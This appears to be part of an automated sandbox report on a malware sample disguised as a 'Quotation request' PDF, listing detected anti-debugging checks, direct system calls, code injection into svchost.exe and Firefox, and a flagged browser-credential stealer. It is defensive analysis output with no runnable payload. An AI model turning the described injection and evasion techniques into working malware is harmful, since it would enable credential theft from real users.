Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CACA72 mov eax, dword ptr fs:[00000030h]	7_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CACA72 mov eax, dword ptr fs:[00000030h]	7_2_03CACA72
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBCA11 mov eax, dword ptr fs:[00000030h]	7_2_03CBCA11
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6CA24 mov eax, dword ptr fs:[00000030h]	7_2_03C6CA24
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5EA2E mov eax, dword ptr fs:[00000030h]	7_2_03C5EA2E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C54A35 mov eax, dword ptr fs:[00000030h]	7_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C54A35 mov eax, dword ptr fs:[00000030h]	7_2_03C54A35
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6CA38 mov eax, dword ptr fs:[00000030h]	7_2_03C6CA38
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC69C0 mov eax, dword ptr fs:[00000030h]	7_2_03CC69C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C3A9D0 mov eax, dword ptr fs:[00000030h]	7_2_03C3A9D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C649D0 mov eax, dword ptr fs:[00000030h]	7_2_03C649D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFA9D3 mov eax, dword ptr fs:[00000030h]	7_2_03CFA9D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBE9E0 mov eax, dword ptr fs:[00000030h]	7_2_03CBE9E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C629F9 mov eax, dword ptr fs:[00000030h]	7_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C629F9 mov eax, dword ptr fs:[00000030h]	7_2_03C629F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C429A0 mov eax, dword ptr fs:[00000030h]	7_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C309AD mov eax, dword ptr fs:[00000030h]	7_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C309AD mov eax, dword ptr fs:[00000030h]	7_2_03C309AD
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB89B3 mov esi, dword ptr fs:[00000030h]	7_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	7_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB89B3 mov eax, dword ptr fs:[00000030h]	7_2_03CB89B3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB0946 mov eax, dword ptr fs:[00000030h]	7_2_03CB0946
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C56962 mov eax, dword ptr fs:[00000030h]	7_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C56962 mov eax, dword ptr fs:[00000030h]	7_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C56962 mov eax, dword ptr fs:[00000030h]	7_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7096E mov eax, dword ptr fs:[00000030h]	7_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7096E mov edx, dword ptr fs:[00000030h]	7_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C7096E mov eax, dword ptr fs:[00000030h]	7_2_03C7096E
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD4978 mov eax, dword ptr fs:[00000030h]	7_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD4978 mov eax, dword ptr fs:[00000030h]	7_2_03CD4978
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBC97C mov eax, dword ptr fs:[00000030h]	7_2_03CBC97C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE908 mov eax, dword ptr fs:[00000030h]	7_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CAE908 mov eax, dword ptr fs:[00000030h]	7_2_03CAE908
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBC912 mov eax, dword ptr fs:[00000030h]	7_2_03CBC912
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C28918 mov eax, dword ptr fs:[00000030h]	7_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C28918 mov eax, dword ptr fs:[00000030h]	7_2_03C28918
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CB892A mov eax, dword ptr fs:[00000030h]	7_2_03CB892A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC892B mov eax, dword ptr fs:[00000030h]	7_2_03CC892B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C5E8C0 mov eax, dword ptr fs:[00000030h]	7_2_03C5E8C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CFA8E4 mov eax, dword ptr fs:[00000030h]	7_2_03CFA8E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	7_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6C8F9 mov eax, dword ptr fs:[00000030h]	7_2_03C6C8F9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C30887 mov eax, dword ptr fs:[00000030h]	7_2_03C30887
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBC89D mov eax, dword ptr fs:[00000030h]	7_2_03CBC89D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C42840 mov ecx, dword ptr fs:[00000030h]	7_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C60854 mov eax, dword ptr fs:[00000030h]	7_2_03C60854
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34859 mov eax, dword ptr fs:[00000030h]	7_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C34859 mov eax, dword ptr fs:[00000030h]	7_2_03C34859
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBE872 mov eax, dword ptr fs:[00000030h]	7_2_03CBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBE872 mov eax, dword ptr fs:[00000030h]	7_2_03CBE872
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6870 mov eax, dword ptr fs:[00000030h]	7_2_03CC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CC6870 mov eax, dword ptr fs:[00000030h]	7_2_03CC6870
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CBC810 mov eax, dword ptr fs:[00000030h]	7_2_03CBC810
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov eax, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov eax, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov eax, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov ecx, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov eax, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C52835 mov eax, dword ptr fs:[00000030h]	7_2_03C52835
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C6A830 mov eax, dword ptr fs:[00000030h]	7_2_03C6A830
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD483A mov eax, dword ptr fs:[00000030h]	7_2_03CD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03CD483A mov eax, dword ptr fs:[00000030h]	7_2_03CD483A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32FC8 mov eax, dword ptr fs:[00000030h]	7_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32FC8 mov eax, dword ptr fs:[00000030h]	7_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32FC8 mov eax, dword ptr fs:[00000030h]	7_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 7_2_03C32FC8 mov eax, dword ptr fs:[00000030h]	7_2_03C32FC8

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_004238DA __lseeki64_nolock,__lseeki64_nolock,GetProcessHeap,HeapAlloc,__setmode_nolock,__write_nolock,__setmode_nolock,GetProcessHeap,HeapFree,__lseeki64_nolock,SetEndOfFile,GetLastError,__lseeki64_nolock,

2_2_004238DA

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0041F250 SetUnhandledExceptionFilter,	2_2_0041F250
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_0041A208 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	2_2_0041A208
Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Code function: 2_2_00417DAA IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	2_2_00417DAA

HIPS / PFW / Operating System Protection Evasion

Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtWriteVirtualMemory: Direct from: 0x77762E3C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtMapViewOfSection: Direct from: 0x77762D1C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtNotifyChangeKey: Direct from: 0x77763C2C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtCreateMutant: Direct from: 0x777635CC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtResumeThread: Direct from: 0x777636AC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtProtectVirtualMemory: Direct from: 0x77757B2E	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQuerySystemInformation: Direct from: 0x77762DFC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtAllocateVirtualMemory: Direct from: 0x77762BFC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtReadFile: Direct from: 0x77762ADC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtDelayExecution: Direct from: 0x77762DDC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtWriteVirtualMemory: Direct from: 0x7776490C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQueryInformationProcess: Direct from: 0x77762C26	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtResumeThread: Direct from: 0x77762FBC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtCreateUserProcess: Direct from: 0x7776371C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtSetInformationThread: Direct from: 0x777563F9	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtAllocateVirtualMemory: Direct from: 0x77763C9C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtSetInformationThread: Direct from: 0x77762B4C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQueryAttributesFile: Direct from: 0x77762E6C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtClose: Direct from: 0x77762B6C
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtReadVirtualMemory: Direct from: 0x77762E8C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtCreateKey: Direct from: 0x77762C6C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQuerySystemInformation: Direct from: 0x777648CC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtAllocateVirtualMemory: Direct from: 0x777648EC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQueryVolumeInformationFile: Direct from: 0x77762F2C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtOpenSection: Direct from: 0x77762E0C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtDeviceIoControlFile: Direct from: 0x77762AEC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtAllocateVirtualMemory: Direct from: 0x77762BEC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtQueryInformationToken: Direct from: 0x77762CAC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtTerminateThread: Direct from: 0x77762FCC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtCreateFile: Direct from: 0x77762FEC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtOpenFile: Direct from: 0x77762DCC	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtOpenKeyEx: Direct from: 0x77762B9C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtSetInformationProcess: Direct from: 0x77762C5C	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	NtProtectVirtualMemory: Direct from: 0x77762F9C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\RMActivate_isv.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: NULL target: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: NULL target: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\RMActivate_isv.exe

Thread register set: target process: 2324

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\RMActivate_isv.exe

Thread APC queued: target process: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 3030008

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00436CD7 LogonUserW,

2_2_00436CD7

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

2_2_0040D590

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,

2_2_00434418

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0043333C __wcsicoll,mouse_event,__wcsicoll,mouse_event,

2_2_0043333C

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Quotation request -30112024_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\zdATOvhgZLEUzoYVAWbESnrKLFFHmtHgndLefHqKkuSHykAxDTlkZhfAEyIUrgRVAdxASLrymSnWvi\xvYhLzczmazJ.exe	Process created: C:\Windows\SysWOW64\RMActivate_isv.exe "C:\Windows\SysWOW64\RMActivate_isv.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\RMActivate_isv.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00446124 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

2_2_00446124

Source: Quotation request -30112024_pdf.exe, xvYhLzczmazJ.exe, 0000000A.00000002.3133483615.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000000.1561964571.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723459280.0000000001421000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: xvYhLzczmazJ.exe, 0000000A.00000002.3133483615.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000000.1561964571.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723459280.0000000001421000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: xvYhLzczmazJ.exe, 0000000A.00000002.3133483615.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000000.1561964571.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723459280.0000000001421000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: ?Program Manager
Source: xvYhLzczmazJ.exe, 0000000A.00000002.3133483615.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000A.00000000.1561964571.0000000001A71000.00000002.00000001.00040000.00000000.sdmp, xvYhLzczmazJ.exe, 0000000C.00000000.1723459280.0000000001421000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock
Source: Quotation request -30112024_pdf.exe	Binary or memory string: JDASCRWINUPRWINDOWNLWINUPLWINDOWNSHIFTUPSHIFTDOWNALTUPALTDOWNCTRLUPCTRLDOWNMOUSE_XBUTTON2MOUSE_XBUTTON1MOUSE_MBUTTONMOUSE_RBUTTONMOUSE_LBUTTONLAUNCH_APP2LAUNCH_APP1LAUNCH_MEDIALAUNCH_MAILMEDIA_PLAY_PAUSEMEDIA_STOPMEDIA_PREVMEDIA_NEXTVOLUME_UPVOLUME_DOWNVOLUME_MUTEBROWSER_HOMEBROWSER_FAVORTIESBROWSER_SEARCHBROWSER_STOPBROWSER_REFRESHBROWSER_FORWARDBROWSER_BACKNUMPADENTERSLEEPRSHIFTLSHIFTRALTLALTRCTRLLCTRLAPPSKEYNUMPADDIVNUMPADDOTNUMPADSUBNUMPADADDNUMPADMULTNUMPAD9NUMPAD8NUMPAD7NUMPAD6NUMPAD5NUMPAD4NUMPAD3NUMPAD2NUMPAD1NUMPAD0CAPSLOCKPAUSEBREAKNUMLOCKSCROLLLOCKRWINLWINPRINTSCREENUPTABSPACERIGHTPGUPPGDNLEFTINSERTINSHOMEF12F11F10F9F8F7F6F5F4F3F2F1ESCAPEESCENTERENDDOWNDELETEDELBSBACKSPACEALTONOFF0%d%dShell_TrayWndExitScript Pausedblankinfoquestionstopwarning

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_004720DB GetLocalTime,__swprintf,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,SHGetFolderPathW,

2_2_004720DB

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_00472C3F GetUserNameW,

2_2_00472C3F

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0041E364 __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,_strcpy_s,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,WideCharToMultiByte,

2_2_0041E364

Source: C:\Users\user\Desktop\Quotation request -30112024_pdf.exe

Code function: 2_2_0040E500 GetVersionExW,GetCurrentProcess,GetNativeSystemInfo,FreeLibrary,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,FreeLibrary,

2_2_0040E500

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 7.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
